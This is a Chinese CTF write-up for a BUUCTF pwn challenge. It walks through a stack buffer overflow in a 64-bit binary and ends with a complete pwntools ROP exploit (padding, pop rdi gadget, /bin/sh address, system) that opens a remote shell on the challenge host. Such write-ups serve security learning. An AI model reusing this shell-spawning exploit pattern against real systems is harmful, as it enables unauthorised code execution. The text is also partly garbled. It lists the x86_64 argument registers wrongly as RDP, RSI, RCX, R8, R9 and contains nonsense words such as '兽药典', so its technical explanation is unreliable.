与远程环境进行交互,可以进行输入,但是输入之后无任何回显。
file 查看文件。64位 ELF 。
checksec 查看文件安全属性。
IDA 打开文件。查看 main 函数的反编译代码。
查看 buf 这个字符数组(栈上的缓冲区),本身 buf 有0x20的字节,另外在 buf
之后,栈上还有 8
字节的保存寄存器(Saved Regs)和 8 字节的返回地址(Return Address)**(对应汇编中的 s 和 r,各占 8 字节)。
ALT+B 进行搜索字符串:/bin,找到了后门函数。
并且在 say_hello
函数中发现了 system
这个提权函数。
双击这个 _system
函数,从而得到其地址。这个地址就是最后 system_addr
的地址。
原本的计划是通过栈溢出覆盖返回地址,直接调用 /bin/sh 字符串地址,再跳转到 system
函数(即缝合为 system("/bin/sh")
),但是目标程序开启了 NX 保护,导致栈内存不可执行,无法直接注入并运行 shell ,因此,需要采用 ROP(Return-Oriented Program) 技术绕过NX保护。
利用目标程序中已有的 pop rdi; ret 等gadget 设置函数参数,如将 /bin/sh
地址传入 RDI 寄存器,劫持控制流程到已经存在的 system
函数地址,实现 system("/bin/sh")
的调用,ROP 通过组合现有的代码片段(gadget)完成攻击,无需在栈上执行新代码,从而绕过 NX 限制。
但在漏洞利用的过程中,需要重点关注目标程序的调用约定。由于 32 位程序通过栈传递参数,而 amd64(x86_64) 程序的前六个参数,依次保存在 RDP、RSI、RCX、R8、R9 寄存器中,查出部分才会通过栈传递。因此在构造 ROP 链时,兽药典是需要确定 RDI 寄存器的地址,可以通过以下的命令来查询程序 RDI 寄存器的地址:
ROPgadget --binary pwn | grep 'pop rdi'
构造 exp:
流程:填充数据+rdi_addr+shell_addr+system_addr
from pwn import * r=remote('node5.buuoj.cn',25975)
rdi_addr=0x400663
shell_addr=0x601048
system_addr=0x400480
payload=b'a'*(0x20+8)+p64(rdi_addr)+p64(shell_addr)+p64(system_addr)
r.sendline(payload)
r.interactive()